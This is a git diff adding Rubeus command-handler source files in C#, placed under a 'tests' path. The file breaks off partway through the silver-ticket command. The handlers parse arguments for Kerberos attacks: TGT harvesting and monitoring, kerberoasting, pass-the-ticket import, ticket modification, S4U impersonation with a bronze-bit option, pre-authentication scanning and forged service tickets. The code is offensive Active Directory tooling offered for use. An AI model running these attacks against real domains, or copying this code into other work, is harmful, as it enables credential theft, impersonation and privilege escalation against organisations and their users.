b/tests/kerbtgs/CrackMapCore/Commands/HarvestCommand.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class HarvestCommand : ICommand + { + public static string CommandName => "harvest"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: TGT Harvesting (with auto-renewal)"); + + string targetUser = null; + int monitorInterval = 60; // how often to check for new TGTs + int displayInterval = 1200; // how often to display the working set of TGTs + string registryBasePath = null; + bool nowrap = false; + int runFor = 0; + + if (arguments.ContainsKey("/nowrap")) + { + nowrap = true; + } + if (arguments.ContainsKey("/filteruser")) + { + targetUser = arguments["/filteruser"]; + } + if (arguments.ContainsKey("/targetuser")) + { + targetUser = arguments["/targetuser"]; + } + if (arguments.ContainsKey("/interval")) + { + monitorInterval = Int32.Parse(arguments["/interval"]); + displayInterval = Int32.Parse(arguments["/interval"]); + } + if (arguments.ContainsKey("/monitorinterval")) + { + monitorInterval = Int32.Parse(arguments["/monitorinterval"]); + } + if (arguments.ContainsKey("/displayinterval")) + { + displayInterval = Int32.Parse(arguments["/displayinterval"]); + } + if (arguments.ContainsKey("/registry")) + { + registryBasePath = arguments["/registry"]; + } + if (arguments.ContainsKey("/runfor")) + { + runFor = Int32.Parse(arguments["/runfor"]); + } + + if (!String.IsNullOrEmpty(targetUser)) + { + Console.WriteLine("[*] Target user : {0:x}", targetUser); + } + Console.WriteLine("[*] Monitoring every {0} seconds for new TGTs", monitorInterval); + Console.WriteLine("[*] Displaying the working TGT cache every {0} seconds", displayInterval); + if (runFor > 0) + { + Console.WriteLine("[*] Running collection for {0} seconds", runFor); + } + Console.WriteLine(""); + + var harvester = new Harvest(monitorInterval, displayInterval, true, targetUser, registryBasePath, nowrap, runFor); + harvester.HarvestTicketGrantingTickets(); + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/Hash.cs b/tests/kerbtgs/CrackMapCore/Commands/Hash.cs new file mode 100644 index 0000000..a8ec01e --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Hash.cs @@ -0,0 +1,51 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class Hash : ICommand + { + public static string CommandName => "hash"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Calculate Password Hash(es)\r\n"); + + string user = ""; + string domain = ""; + string password = ""; + + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + } + else + { + Console.WriteLine("[X] /password:X must be supplied!"); + return; + } + + Crypto.ComputeAllKerberosPasswordHashes(password, user, domain); + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/ICommand.cs b/tests/kerbtgs/CrackMapCore/Commands/ICommand.cs new file mode 100644 index 0000000..baeebf2 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/ICommand.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; + +namespace Rubeus.Commands +{ + public interface ICommand + { + void Execute(Dictionary arguments); + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Kerberoast.cs b/tests/kerbtgs/CrackMapCore/Commands/Kerberoast.cs new file mode 100644 index 0000000..0246657 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Kerberoast.cs @@ -0,0 +1,254 @@ +using System; +using System.Collections.Generic; +using System.Text.RegularExpressions; +using System.Text; + + +namespace Rubeus.Commands +{ + public class Kerberoast : ICommand + { + public static string CommandName => "kerberoast"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n"); + + string spn = ""; + List spns = null; + string user = ""; + string OU = ""; + string outFile = ""; + string domain = ""; + string dc = ""; + string ldapFilter = ""; + string supportedEType = "rc4"; + bool useTGTdeleg = false; + bool listUsers = false; + KRB_CRED TGT = null; + string pwdSetAfter = ""; + string pwdSetBefore = ""; + int resultLimit = 0; + int delay = 0; + int jitter = 0; + bool simpleOutput = false; + bool enterprise = false; + bool autoenterprise = false; + bool ldaps = false; + System.Net.NetworkCredential cred = null; + string nopreauth = null; + + if (arguments.ContainsKey("/spn")) + { + // roast a specific single SPN + spn = arguments["/spn"]; + } + + if (arguments.ContainsKey("/spns")) + { + spns = new List(); + if (System.IO.File.Exists(arguments["/spns"])) + { + string fileContent = Encoding.UTF8.GetString(System.IO.File.ReadAllBytes(arguments["/spns"])); + foreach (string s in fileContent.Split('\n')) + { + if (!String.IsNullOrEmpty(s)) + { + spns.Add(s.Trim()); + } + } + } + else + { + foreach (string s in arguments["/spns"].Split(',')) + { + spns.Add(s); + } + } + } + if (arguments.ContainsKey("/user")) + { + // roast a specific user (or users, comma-separated + user = arguments["/user"]; + } + if (arguments.ContainsKey("/ou")) + { + // roast users from a specific OU + OU = arguments["/ou"]; + } + if (arguments.ContainsKey("/domain")) + { + // roast users from a specific domain + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + // use a specific domain controller for kerberoasting + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/outfile")) + { + // output kerberoasted hashes to a file instead of to the console + outFile = arguments["/outfile"]; + } + if (arguments.ContainsKey("/simple")) + { + // output kerberoasted hashes to the output file format instead, to the console + simpleOutput = true; + } + if (arguments.ContainsKey("/aes")) + { + // search for users w/ AES encryption enabled and request AES tickets + supportedEType = "aes"; + } + if (arguments.ContainsKey("/rc4opsec")) + { + // search for users without AES encryption enabled roast + supportedEType = "rc4opsec"; + } + if (arguments.ContainsKey("/ticket")) + { + // use an existing TGT ticket when requesting/roasting + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + TGT = new KRB_CRED(kirbiBytes); + } + else if (System.IO.File.Exists(kirbi64)) + { + byte[] kirbiBytes = System.IO.File.ReadAllBytes(kirbi64); + TGT = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + } + + if (arguments.ContainsKey("/usetgtdeleg") || arguments.ContainsKey("/tgtdeleg")) + { + // use the TGT delegation trick to get a delegated TGT to use for roasting + useTGTdeleg = true; + } + + if (arguments.ContainsKey("/pwdsetafter")) + { + // filter for roastable users w/ a pwd set after a specific date + pwdSetAfter = arguments["/pwdsetafter"]; + } + + if (arguments.ContainsKey("/pwdsetbefore")) + { + // filter for roastable users w/ a pwd set before a specific date + pwdSetBefore = arguments["/pwdsetbefore"]; + } + + if (arguments.ContainsKey("/ldapfilter")) + { + // additional LDAP targeting filter + ldapFilter = arguments["/ldapfilter"].Trim('"').Trim('\''); + } + + if (arguments.ContainsKey("/resultlimit")) + { + // limit the number of roastable users + resultLimit = Convert.ToInt32(arguments["/resultlimit"]); + } + + if (arguments.ContainsKey("/delay")) + { + delay = Int32.Parse(arguments["/delay"]); + if(delay < 100) + { + Console.WriteLine("[!] WARNING: delay is in milliseconds! Please enter a value > 100."); + return; + } + } + + if (arguments.ContainsKey("/jitter")) + { + try + { + jitter = Int32.Parse(arguments["/jitter"]); + } + catch { + Console.WriteLine("[X] Jitter must be an integer between 1-100."); + return; + } + if(jitter <= 0 || jitter > 100) + { + Console.WriteLine("[X] Jitter must be between 1-100"); + return; + } + } + + if (arguments.ContainsKey("/stats")) + { + // output stats on the number of kerberoastable users, don't actually roast anything + listUsers = true; + } + + if (arguments.ContainsKey("/enterprise")) + { + // use enterprise principals in the request, requires /spn and (/ticket or /tgtdeleg) + enterprise = true; + } + if (arguments.ContainsKey("/autoenterprise")) + { + // use enterprise principals in the request if roasting with the SPN fails, requires /ticket or /tgtdeleg, does nothing is /spn or /spns is supplied + autoenterprise = true; + } + if (arguments.ContainsKey("/ldaps")) + { + ldaps = true; + } + + if (String.IsNullOrEmpty(domain)) + { + // try to get the current domain + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + + if (arguments.ContainsKey("/creduser")) + { + // provide an alternate user to use for connection creds + if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase)) + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return; + } + + string[] parts = arguments["/creduser"].Split('\\'); + string domainName = parts[0]; + string userName = parts[1]; + + // provide an alternate password to use for connection creds + if (!arguments.ContainsKey("/credpassword")) + { + Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); + return; + } + + string password = arguments["/credpassword"]; + + cred = new System.Net.NetworkCredential(userName, password, domainName); + } + + // roast with a user configured to not require pre-auth + if (arguments.ContainsKey("/nopreauth")) + { + nopreauth = arguments["/nopreauth"]; + } + + if (!String.IsNullOrWhiteSpace(nopreauth) && (String.IsNullOrWhiteSpace(spn) && (spns == null || spns.Count < 1))) + { + Console.WriteLine("\r\n[X] /spn or /spns is required when specifying /nopreauth\r\n"); + return; + } + + Roast.Kerberoast(spn, spns, user, OU, domain, dc, cred, outFile, simpleOutput, TGT, useTGTdeleg, supportedEType, pwdSetAfter, pwdSetBefore, ldapFilter, resultLimit, delay, jitter, listUsers, enterprise, autoenterprise, ldaps, nopreauth); + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Kirbi.cs b/tests/kerbtgs/CrackMapCore/Commands/Kirbi.cs new file mode 100644 index 0000000..4b62ccc --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Kirbi.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Rubeus.lib.Interop; + +namespace Rubeus.Commands +{ + public class Kirbi : ICommand + { + public static string CommandName => "kirbi"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Modify Kirbi\r\n"); + + KRB_CRED kirbi = null; + byte[] sessionKey = null; + Interop.KERB_ETYPE sessionKeyEtype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + bool ptt = false; + string outfile = ""; + LUID luid = new LUID(); + + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/kirbi")) + { + string kirbi64 = arguments["/kirbi"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + kirbi = new KRB_CRED(kirbiBytes); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + kirbi = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /kirbi:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + return; + } + } + + if (arguments.ContainsKey("/sessionkey")) + { + sessionKey = Helpers.StringToByteArray(arguments["/sessionkey"]); + } + + if (arguments.ContainsKey("/sessionetype")) + { + string encTypeString = arguments["/sessionetype"].ToUpper(); + + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) + { + sessionKeyEtype = Interop.KERB_ETYPE.rc4_hmac; + } + else if (encTypeString.Equals("AES128")) + { + sessionKeyEtype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) + { + sessionKeyEtype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + else if (encTypeString.Equals("DES")) + { + sessionKeyEtype = Interop.KERB_ETYPE.des_cbc_md5; + } + else + { + Console.WriteLine("Unsupported etype : {0}", encTypeString); + return; + } + } + + ForgeTickets.ModifyKirbi(kirbi, sessionKey, sessionKeyEtype, ptt, luid, outfile); + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/Klist.cs b/tests/kerbtgs/CrackMapCore/Commands/Klist.cs new file mode 100644 index 0000000..d0615f9 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Klist.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Klist : ICommand + { + public static string CommandName => "klist"; + + public void Execute(Dictionary arguments) + { + if (Helpers.IsHighIntegrity()) + { + Console.WriteLine("\r\nAction: List Kerberos Tickets (All Users)\r\n"); + } + else + { + Console.WriteLine("\r\nAction: List Kerberos Tickets (Current User)\r\n"); + } + + LUID targetLuid = new LUID(); + string targetUser = ""; + string targetService = ""; + string targetServer = ""; + + if (arguments.ContainsKey("/luid")) + { + try + { + targetLuid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/user")) + { + targetUser = arguments["/user"]; + } + + if (arguments.ContainsKey("/service")) + { + targetService = arguments["/service"]; + } + + if (arguments.ContainsKey("/server")) + { + targetServer = arguments["/server"]; + } + + // extract out the tickets (w/ full data) with the specified targeting options + List sessionCreds = LSA.EnumerateTickets(false, targetLuid, targetService, targetUser, targetServer, true); + // display tickets with the "Full" format + LSA.DisplaySessionCreds(sessionCreds, LSA.TicketDisplayFormat.Klist); + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Logonsession.cs b/tests/kerbtgs/CrackMapCore/Commands/Logonsession.cs new file mode 100644 index 0000000..16a9b65 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Logonsession.cs @@ -0,0 +1,81 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + +namespace Rubeus.Commands +{ + public class Logonsession : ICommand + { + public static string CommandName => "logonsession"; + + public void Execute(Dictionary arguments) + { + bool currentOnly = false; + string targetLuidString = ""; + + if (arguments.ContainsKey("/luid")) + { + targetLuidString = arguments["/luid"]; + } + else if (arguments.ContainsKey("/current") || !Helpers.IsHighIntegrity()) + { + currentOnly = true; + Console.WriteLine("\r\n[*] Action: Display current logon session information\r\n"); + } + else + { + Console.WriteLine("\r\n[*] Action: Display all logon session information\r\n"); + } + + List logonSessions = new List(); + + if(!String.IsNullOrEmpty(targetLuidString)) + { + try + { + LUID targetLuid = new LUID(targetLuidString); + LSA.LogonSessionData logonData = LSA.GetLogonSessionData(targetLuid); + logonSessions.Add(logonData); + } + catch + { + Console.WriteLine($"[!] Error parsing luid: {targetLuidString}"); + return; + } + } + else if (currentOnly) + { + // not elevated, so only enumerate current logon session information + LUID currentLuid = Helpers.GetCurrentLUID(); + LSA.LogonSessionData logonData = LSA.GetLogonSessionData(currentLuid); + logonSessions.Add(logonData); + } + else + { + // elevated, so enumerate all logon session information + List sessionLUIDs = LSA.EnumerateLogonSessions(); + + foreach(LUID luid in sessionLUIDs) + { + LSA.LogonSessionData logonData = LSA.GetLogonSessionData(luid); + logonSessions.Add(logonData); + } + } + + foreach(LSA.LogonSessionData logonData in logonSessions) + { + Console.WriteLine($" LUID : {logonData.LogonID} ({(UInt64)logonData.LogonID})"); + Console.WriteLine($" UserName : {logonData.Username}"); + Console.WriteLine($" LogonDomain : {logonData.LogonDomain}"); + Console.WriteLine($" SID : {logonData.Sid}"); + Console.WriteLine($" AuthPackage : {logonData.AuthenticationPackage}"); + Console.WriteLine($" LogonType : {logonData.LogonType} ({(int)logonData.LogonType})"); + Console.WriteLine($" Session : {logonData.Session}"); + Console.WriteLine($" LogonTime : {logonData.LogonTime}"); + Console.WriteLine($" LogonServer : {logonData.LogonServer}"); + Console.WriteLine($" DnsDomainName : {logonData.DnsDomainName}"); + Console.WriteLine($" Upn : {logonData.Upn}\r\n"); + } + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/Monitor.cs b/tests/kerbtgs/CrackMapCore/Commands/Monitor.cs new file mode 100644 index 0000000..0386a78 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Monitor.cs @@ -0,0 +1,65 @@ +using System; +using System.Collections.Generic; + + +namespace Rubeus.Commands +{ + public class Monitor : ICommand + { + public static string CommandName => "monitor"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: TGT Monitoring"); + + string targetUser = null; + int interval = 60; + string registryBasePath = null; + bool nowrap = false; + int runFor = 0; + + if (arguments.ContainsKey("/nowrap")) + { + nowrap = true; + } + if (arguments.ContainsKey("/filteruser")) + { + targetUser = arguments["/filteruser"]; + } + if (arguments.ContainsKey("/targetuser")) + { + targetUser = arguments["/targetuser"]; + } + if (arguments.ContainsKey("/monitorinterval")) + { + interval = Int32.Parse(arguments["/monitorinterval"]); + } + if (arguments.ContainsKey("/interval")) + { + interval = Int32.Parse(arguments["/interval"]); + } + if (arguments.ContainsKey("/registry")) + { + registryBasePath = arguments["/registry"]; + } + if (arguments.ContainsKey("/runfor")) + { + runFor = Int32.Parse(arguments["/runfor"]); + } + + if (!String.IsNullOrEmpty(targetUser)) + { + Console.WriteLine("[*] Target user : {0:x}", targetUser); + } + Console.WriteLine("[*] Monitoring every {0} seconds for new TGTs", interval); + if (runFor > 0) + { + Console.WriteLine("[*] Running collection for {0} seconds", runFor); + } + Console.WriteLine(""); + + var harvester = new Harvest(interval, interval, false, targetUser, registryBasePath, nowrap, runFor); + harvester.HarvestTicketGrantingTickets(); + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Preauthscan.cs b/tests/kerbtgs/CrackMapCore/Commands/Preauthscan.cs new file mode 100644 index 0000000..abf435f --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Preauthscan.cs @@ -0,0 +1,71 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Rubeus.Commands +{ + public class Preauthscan : ICommand + { + public static string CommandName => "preauthscan"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication\r\n"); + + List users = new List(); + string domain = null; + string dc = null; + string proxyUrl = null; + + if (arguments.ContainsKey("/users")) + { + if (System.IO.File.Exists(arguments["/users"])) + { + string fileContent = Encoding.UTF8.GetString(System.IO.File.ReadAllBytes(arguments["/users"])); + foreach (string u in fileContent.Split('\n')) + { + if (!String.IsNullOrWhiteSpace(u)) + { + users.Add(u.Trim()); + } + } + } + else + { + foreach (string u in arguments["/users"].Split(',')) + { + users.Add(u); + } + } + } + + if (users.Count < 1) + { + Console.WriteLine("[X] No usernames to try, exiting."); + return; + } + + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; + } + + if (arguments.ContainsKey("/proxyurl")) + { + proxyUrl = arguments["/proxyurl"]; + } + + Ask.PreAuthScan(users, domain, dc, proxyUrl); + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/Ptt.cs b/tests/kerbtgs/CrackMapCore/Commands/Ptt.cs new file mode 100644 index 0000000..4735e5c --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Ptt.cs @@ -0,0 +1,59 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Ptt : ICommand + { + public static string CommandName => "ptt"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Import Ticket"); + + LUID luid = new LUID(); + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + LSA.ImportTicket(kirbiBytes, luid); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + LSA.ImportTicket(kirbiBytes, luid); + } + else + { + Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/Purge.cs b/tests/kerbtgs/CrackMapCore/Commands/Purge.cs new file mode 100644 index 0000000..3ebe2f0 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Purge.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using Rubeus.lib.Interop; + + +namespace Rubeus.Commands +{ + public class Purge : ICommand + { + public static string CommandName => "purge"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Purge Tickets"); + + LUID luid = new LUID(); + + if (arguments.ContainsKey("/luid")) + { + try + { + luid = new LUID(arguments["/luid"]); + } + catch + { + Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); + return; + } + } + + LSA.Purge(luid); + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/RenewCommand.cs b/tests/kerbtgs/CrackMapCore/Commands/RenewCommand.cs new file mode 100644 index 0000000..552c952 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/RenewCommand.cs @@ -0,0 +1,77 @@ +using System; +using System.Collections.Generic; +using System.IO; + + +namespace Rubeus.Commands +{ + public class RenewCommand : ICommand + { + public static string CommandName => "renew"; + + public void Execute(Dictionary arguments) + { + string outfile = ""; + bool ptt = false; + string dc = ""; + + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + byte[] kirbiBytes = null; + + if (Helpers.IsBase64String(kirbi64)) + { + kirbiBytes = Convert.FromBase64String(kirbi64); + } + else if (File.Exists(kirbi64)) + { + kirbiBytes = File.ReadAllBytes(kirbi64); + } + + if(kirbiBytes == null) + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + else + { + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + if (arguments.ContainsKey("/autorenew")) + { + Console.WriteLine("[*] Action: Auto-Renew Ticket\r\n"); + // if we want to auto-renew the TGT up until the renewal limit + Renew.TGTAutoRenew(kirbi, dc); + } + else + { + Console.WriteLine("[*] Action: Renew Ticket\r\n"); + // otherwise a single renew operation + byte[] blah = Renew.TGT(kirbi, outfile, ptt, dc); + } + } + + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); + return; + } + } + } +} \ No newline at end of file diff --git a/tests/kerbtgs/CrackMapCore/Commands/S4u.cs b/tests/kerbtgs/CrackMapCore/Commands/S4u.cs new file mode 100644 index 0000000..9e17605 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/S4u.cs @@ -0,0 +1,221 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace Rubeus.Commands +{ + public class S4u : ICommand + { + public static string CommandName => "s4u"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: S4U\r\n"); + + string targetUser = ""; + string targetSPN = ""; + string altSname = ""; + string user = ""; + string domain = ""; + string hash = ""; + string outfile = ""; + bool ptt = false; + string dc = ""; + string targetDomain = ""; + string targetDC = ""; + string impersonateDomain = ""; + bool self = false; + bool opsec = false; + bool bronzebit = false; + bool pac = true; + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid + KRB_CRED tgs = null; + string proxyUrl = null; + + if (arguments.ContainsKey("/user")) + { + string[] parts = arguments["/user"].Split('\\'); + if (parts.Length == 2) + { + domain = parts[0]; + user = parts[1]; + } + else + { + user = arguments["/user"]; + } + } + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + } + if (arguments.ContainsKey("/ptt")) + { + ptt = true; + } + if (arguments.ContainsKey("/dc")) + { + dc = arguments["/dc"]; + } + if (arguments.ContainsKey("/rc4")) + { + hash = arguments["/rc4"]; + encType = Interop.KERB_ETYPE.rc4_hmac; + } + if (arguments.ContainsKey("/aes256")) + { + hash = arguments["/aes256"]; + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + } + if (arguments.ContainsKey("/impersonateuser")) + { + if (arguments.ContainsKey("/tgs")) + { + Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n"); + return; + } + targetUser = arguments["/impersonateuser"]; + } + if (arguments.ContainsKey("/impersonatedomain")) + { + impersonateDomain = arguments["/impersonatedomain"]; + } + if (arguments.ContainsKey("/targetdomain")) + { + targetDomain = arguments["/targetdomain"]; + } + if (arguments.ContainsKey("/targetdc")) + { + targetDC = arguments["/targetdc"]; + } + if (arguments.ContainsKey("/outfile")) + { + outfile = arguments["/outfile"]; + } + + if (arguments.ContainsKey("/msdsspn")) + { + targetSPN = arguments["/msdsspn"]; + } + + if (arguments.ContainsKey("/altservice")) + { + altSname = arguments["/altservice"]; + } + + if (arguments.ContainsKey("/self")) + { + self = true; + } + + if (arguments.ContainsKey("/opsec")) + { + opsec = true; + } + + if (arguments.ContainsKey("/bronzebit")) + { + bronzebit = true; + } + if (arguments.ContainsKey("/nopac")) + { + pac = false; + } + if (arguments.ContainsKey("/proxyurl")) + { + proxyUrl = arguments["/proxyurl"]; + } + + if (arguments.ContainsKey("/tgs")) + { + string kirbi64 = arguments["/tgs"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + tgs = new KRB_CRED(kirbiBytes); + } + else + { + Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + return; + } + + targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0]; + } + + if (String.IsNullOrEmpty(domain)) + { + domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; + } + if (String.IsNullOrEmpty(targetUser) && tgs == null) + { + Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n"); + Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n"); + return; + } + if (String.IsNullOrEmpty(targetSPN) && tgs != null) + { + Console.WriteLine("\r\n[X] If a /tgs is supplied, you must also supply a /msdsspn !\r\n"); + return; + } + bool show = arguments.ContainsKey("/show"); + string createnetonly = null; + + if (arguments.ContainsKey("/createnetonly") && !String.IsNullOrWhiteSpace(arguments["/createnetonly"])) + { + createnetonly = arguments["/createnetonly"]; + ptt = true; + } + + if (arguments.ContainsKey("/ticket")) + { + string kirbi64 = arguments["/ticket"]; + + if (Helpers.IsBase64String(kirbi64)) + { + byte[] kirbiBytes = Convert.FromBase64String(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain, proxyUrl, createnetonly, show); + } + else if (File.Exists(kirbi64)) + { + byte[] kirbiBytes = File.ReadAllBytes(kirbi64); + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, hash, encType, domain, impersonateDomain, proxyUrl, createnetonly, show); + } + else + { + Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); + } + return; + } + else if (arguments.ContainsKey("/user")) + { + // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request + + user = arguments["/user"]; + + if (String.IsNullOrEmpty(hash)) + { + Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); + return; + } + + S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, outfile, ptt, dc, altSname, tgs, targetDC, targetDomain, self, opsec, bronzebit, pac, proxyUrl, createnetonly, show); + return; + } + else + { + Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n"); + Console.WriteLine("[X] Alternatively, supply a /user and hash to first retrieve a TGT.\r\n"); + return; + } + } + } +} diff --git a/tests/kerbtgs/CrackMapCore/Commands/Silver.cs b/tests/kerbtgs/CrackMapCore/Commands/Silver.cs new file mode 100644 index 0000000..3933e41 --- /dev/null +++ b/tests/kerbtgs/CrackMapCore/Commands/Silver.cs @@ -0,0 +1,520 @@ +using System; +using System.Collections.Generic; +using System.Globalization; + +namespace Rubeus.Commands +{ + public class Silver : ICommand + { + public static string CommandName => "silver"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Build TGS\r\n"); + + string user = ""; + string service = ""; + int? id = null; + string sids = ""; + string groups = ""; + string displayName = ""; + short? logonCount = null; + short? badPwdCount = null; + DateTime? lastLogon = null; + DateTime? logoffTime = null; + DateTime? pwdLastSet = null; + int? maxPassAge = null; + int? minPassAge = null; + int? pGid = null; + string homeDir = ""; + string homeDrive = ""; + string profilePath = ""; + string scriptPath = ""; + string resourceGroupSid = ""; + List resourceGroups = null; + 